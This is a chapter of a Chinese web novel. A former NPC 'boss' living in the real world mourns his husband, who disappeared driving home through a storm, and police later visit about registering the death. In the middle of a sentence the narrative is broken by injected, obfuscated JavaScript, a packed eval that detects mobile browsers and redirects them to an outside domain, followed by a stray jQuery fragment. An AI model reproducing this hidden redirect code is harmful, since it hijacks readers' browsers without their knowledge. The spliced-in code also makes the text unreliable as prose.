“啊，我又死了……”
伽巧蜷在柔软的灰羊绒沙发里，像条失去梦想的咸鱼，懒洋洋翻了个身。
他裹着毛绒绒的厚毯子，只露出一双漂亮眼睛，幽怨地盯着屏幕中鲜红的‘Game Over’，背景光照亮微微蹙起的眉。
“什么破游戏呀……没有代肝果然不行，祝南屿怎么还不回家！”
声音软糯糯的，藏着没有自觉的、已经养成惯性的撒娇。
落地窗外，倾泻的暴雨如同天河决堤，黑夜中模糊了天与地的边界。
屋内光线亮澄澄的，空气弥漫着香甜味道，暖得让人昏昏欲睡。
沙发旁高度正正好趁手的茶几上，各种零食、水果、奶茶堆成小山。
鲜翠的青提每颗都剥得干干净净，拌上浓稠的希腊酸奶，再撒一些巧克力和坚果。旁边盘子里盛满了红石榴籽，每颗都被仔仔细细撕了白膜去了核。饱满的龙虾肉挑了虾线，用竹签串着，确保不让伽巧的手弄脏一点儿。
伽巧结婚以前哪有那么难伺候？
全都怪某个人，溺爱无度。
哪怕工作再怎么忙，也能抽出时间，极有耐心地坐在伽巧身旁当膝枕，一边听伽巧嘀嘀咕咕抱怨游戏太难打，一边用平常签九位数合同的手剥虾扒石榴。
好像伺候老婆是全天下最最最重要的事情。
茶几正中央，摆着一个造型独特的蛋糕。
蛋糕顶上用堆糖捏了两头身Q版小美人鱼，眯起左眼懒洋洋打哈欠，模样神似伽巧。
小人旁边插着‘2’和‘0’两根数字蜡烛。
墙边倚着一个比伽巧还高的巨大礼物盒，打着特别夸张的粉色蝴蝶结，也不知道里面装着什么鬼东西。
刚送来时，伽巧隔着包装盒，好奇地左敲敲右敲敲。
“这么大……难道是祝南屿1:1等身充气娃娃？”伽巧胡思乱想，险些把自己气了个半死，羞恼地踹了脚箱子底部，“说了多少遍，我不喜欢玩道具！！！”
悬挂的电子时钟幽幽显示：10月13，23:55。
距离伽巧二十岁生日，仅仅只剩五分钟。
早早做好生日布景的房间里，依然只有他形单影只，显得稍许……寂寞。
明明不久之前，伽巧最擅长一个人度过漫长时间。
他曾经是无限副本的原初NPC，接到的任务指令只有一个：在不被杀死的情况下，杀死出现在眼前的所有生物。
从拥有意识开始，无数次执行这则指令。
枯燥，机械，麻木，但完成度100%。
因为业绩过于突出（？）而凶名远播，被进入无限世界的玩家称为——灭世级别Boss。
伽巧以为自己必须永远守在那片虚无之地，直到被哪个玩家杀死。
却没料到，无限世界毫无征兆的崩塌。
天地倾覆，规则瓦解，万事归墟。
作为唯一存活的NPC，伽巧被强制送到所谓的‘现实世界’，变成除了姓名一无所有的18岁柔弱少年。
正当前·灭世级boss认真思考：凭自己的职业技能，‘当职业杀手’和‘抢银行’哪条道来钱更快时，遇到了祝南屿。
一个平平无奇（除了长得帅），普普通通（除了很有钱）的‘老实人’。
伽巧抱着随便玩玩的心态，假装成柔弱、娇气、离了男人活不下去的绿茶金丝雀，打算被祝南屿包养两三年，狠狠捞一笔钱退休养老。
计划很顺利，捞到了大把大把钱。
可问题在于，祝南屿在感情方面格外较真，非要讲究什么‘明媒正娶’，该有的流程一点不能少。
伽巧只好配合他那麻烦又古板的仪式感，恋爱半年，订婚半年，结婚到现在又是半年。
其实满打满算也才五百多天，与曾经度过的漫长时间相比毫无存在感。
等回过神来才惊觉，原本对人间冷暖不抱有任何期待的灭世级boss，已然变成一条衣来伸手饭来张口，游戏打不过朝老公喊‘菜菜、捞捞’的超级大咸鱼。从前能撕开钢筋铁骨的手，现在连没拧开的矿泉水瓶都要递给冤种老公。
甚至，伽巧慢慢学会了期待。
比如这次由祝南屿策划、反复强调、必须大办特办的二十岁生日。
伽巧没有时间流逝的概念，直到来到现实世界，才知道普通人还有‘生日’这种说法。
祝南屿特意推掉工作，提前结束出差，嘱咐伽巧乖乖等他回家一起庆祝。
可惜好事多磨，覆盖全省的特大暴雨导致飞往A市的航班全部停飞，祝南屿被迫滞留在几百公里之外的城市。
接到消息时，伽巧窝在沙发里蒙着被子，装出满不在乎的语气，“算了，一个生日而已。”
本来……也没打算庆祝。
是祝南屿一遍遍强调，才让他有了微乎其微的期待。
祝南屿不愿给了他期望又亲手扼杀，当即决定自己开车从高速绕到盘山公路，说什么都要赶在0点之前回家。
伽巧慢吞吞爬起来，裹着毯子光脚踩在毛绒绒的地毯上，抬眼看向电子时钟。
23：57
祝南屿到现在还没见人影。
客厅的巨幕电视突然亮起，新闻主持朗声播报：
“受到极端天气的影响，S市到A市途中多段盘山公路容易发生泥石流或山体滑坡，交通部门提醒广大车主请勿冒险通行……”
几乎同时，手机屏幕忽然亮起，祝南屿发来一张照片：
盘山公路入口，远光车灯在漆黑的夜幕中掏出两个洞，连成线的雨丝将指示牌割得支离破碎。
伽巧感觉胸口发闷，没由来的烦躁。
他了结过太多生死，对生命消逝早已麻木，理应不会因为任何人而动容。
可祝南屿是他千挑万选、最完美的养老合伙人。脾气好，有耐心，温柔，情绪稳定，而且有钱长得帅。
如果他出意外的话……
‘叩、叩、叩——’
距离0点还有一步之遥，敲门声恰到好处打破寂静。
回来了！
伽巧悬着的心一轻，不顾从肩头滑落的毯子，赤着脚迈开轻盈的步子冲向玄关，唇角扬起自己都没有察觉的弧度。
手指搭上冰凉的门把手，迅速拧开。
“亲爱的，你怎么才回……”
开门同时，他笑盈盈张开手臂，准备扑进那个熟悉的拥抱。
触碰到的瞬间，时间仿佛在此刻静止。
怀中的触感冰冷、坚硬、硌得他左胸第二根肋骨生疼。
四周陷入无尽黑暗，唯有一束惨淡的月光，笼罩着他。
伽巧缓慢低下头，看向自己紧紧抱住的东西——
那是一块冰冷方正的石碑。
凄冷月光从自己怀中空隙洒落，模模糊糊照亮石碑上鬼森森的七个字。
亡夫祝南屿之墓
“！！！”
伽巧蓦地从睡梦中睁开眼睛，瞳孔暂时失焦，张开嘴无声地大口大口呼吸。
屋外淅淅沥沥的雨声忽大忽小，压得他久久缓不过气，脑海中闪过无数支离破碎的画面。
伽巧左手按住胸口坐起，右手下意识伸向旁边柜子，徒然地想要握紧什么。
‘咔嚓——’
质地坚硬的陶瓷摆件，被他无意识捏得粉碎，发出巨大声响。
伽巧惊得身子轻颤一下，才算彻底清醒，慢慢看向悬挂在墙上的电子钟。
20xx年9月13日。
距离祝南屿暴雨夜开车冲下盘山公路那天，已经过去三年又11个月。
伽巧闭了闭眼，抬手按住眉心，尽可能平复情绪。
屋外传来急促的脚步声，紧接着是两声克制的敲门，随即房门被人轻轻推开。
管家鹿珉快步跑到床边，一张与年龄不符的娃娃脸写满担忧，试探着伸手拍了下伽巧的肩。
祝南屿离世将近四年，期间一直由鹿珉负责管理家中事务，同时照顾伽巧的日常起居。
选中他的理由很简单，鹿珉任劳任怨，细致专业，而且字面意义的‘守口如瓶’。
——他是个哑巴。
伽巧慢吞吞睁开眼睛，看向鹿珉。
鹿珉缩回手，用伽巧能够理解的简单手语比划‘又下雨了，你没事吧’。
“没事。”
伽巧眼底无波无澜，用一如既往的平淡且虚弱的语气回答：
“做了个无关紧要的梦罢了。”
鹿珉目光扫过床头柜和地板洒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422936|184801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落的陶瓷残骸，碎得比平常更严重。
无关紧要……吗？
沉默几秒，鹿珉将双手举过头顶张开又攥紧，模仿兔子抖耳朵的样子，同时歪了下头。
‘真的没事吗？’
“嗯。”伽巧恢复平静，“不用安慰，我已经习惯了。”
意料之中的冷漠回答。鹿珉认命地叹了口气，用口袋里拿出行程本，匆匆写下几个字，举到伽巧面前。
‘有客人来拜访。’
“知道了。”伽巧掀开被子，走向衣帽间，“让他们再等几分钟，我换好衣服就去。”
路过衣帽间与主卧相连的墙角，目光掠过杵在墙角的巨大礼物盒，目光有一瞬恍惚。
包装纸已经泛黄卷边，粉色蝴蝶结依然保持最初的状态。
他低头，轻轻踢了踢盒子底端，声音轻得只有自己能听见：
“还不如送充气娃娃。”
.
陈彩彩是刚分配到市中心派出所户籍室的管理员，这些天主要由前辈张哥带着熟悉工作。
户籍管理员的主要工作包括办理户籍、迁入迁出、以及注销户籍。
前两项都好处理，‘注销户籍’意味着宣判该公民法律层面的死亡。因此经常遇到亲属悲伤过度，迟迟不肯注销逝者户籍的情况。
辖区老前辈觉得发短信太没有人情味，通常都会登门劝慰。
“张、张哥！”陈彩彩蹬着共享单车，气喘吁吁问前面的张哥，“这、这边离市区七十多公里，也算咱们辖区吗？”
张哥乐呵呵回头，“这片地方不算，但只要人是咱辖区的，我们就得负责到底！”
陈彩彩两条腿差点蹬出火星子，眼前终于出现一栋气派的别墅，藏在山林间遗世独立，宛如暴风雪山庄绝佳取景地。
张哥走到门口轻轻敲了两下，里面没有发出任何动静，大门却悄无声息的打开一条黑洞洞的缝，吓得陈彩彩后背窜起一股凉气。
“张、张哥……”陈彩彩颤着声问，“注销户口这事……确定是跟活人谈吧？”
“这不是废话嘛？难道指望死者亲自去派出所销户？哈哈哈！”
陈彩彩默念‘为人民服务’和‘南无阿弥陀佛’，壮着胆子走进别墅。
进了门，才看到门厅站着一个圆脸大眼睛、身穿管家制服的人，手里举着线圈本，上面写着四个工整大字：
‘欢迎光临’。
鹿珉对上陈彩彩惊魂未定的视线，眨巴眨巴大眼睛，将线圈本翻过一页。
‘我家主人正在午睡，请两位到客厅稍坐片刻，我为你们准备了茶和点心。’
接着又翻第三页：
‘抱歉，我是个哑巴，无法叫醒主人。他不会睡太久，醒来之后我会立刻通知。’
鹿珉鞠了个躬，引导他们走进客厅，心里暗想：幸好我是个哑巴。
否则，阴雨天吵醒伽巧，被捏碎的就是自己的头盖骨了。
张哥和陈彩彩坐下没多久，外面雨势慢慢大了起来。
鹿珉听到噼里啪啦的雨声，似乎得到什么讯号，匆匆跑向别墅的主卧。
约莫又过了五分钟，走廊尽头传出极轻的脚步声。
陈彩彩赶紧擦擦嘴角的糕点残渣，摆出职业化的微笑。
一抬头，目光怔住——
来人打扮非常端庄得体，苍白的脸精致瑰丽，墨黑长发拢在右肩，发尾系了一条纯白缎带。
整个人像春日里将而未融的雪，美好却容易消逝。
“张警官，好久不见。”伽巧向张哥微微颔首，目光投向旁边的陈彩彩，“这位是新来的管理员吗？”
“对，她叫陈彩彩。”张哥介绍完，语气难得变得磕磕巴巴，“我这次带她过来，主要为了熟悉户籍室的工作。另外就是，顺便提醒你吧……那个……”
伽巧端端坐在他们对面，眉眼沉静如一潭深水，安安静静等他把说说完。
“那个……”张哥避开伽巧的视线。
陈彩彩以为张哥记不清要说什么事，连忙从包里翻出档案袋，一本正经通知道：
“按照意外失踪两年时限、自然失踪四年时限计算，已经可以认定祝南屿先生死亡。请亲属于30天内到户籍所属地的派出所，办理销户手续。”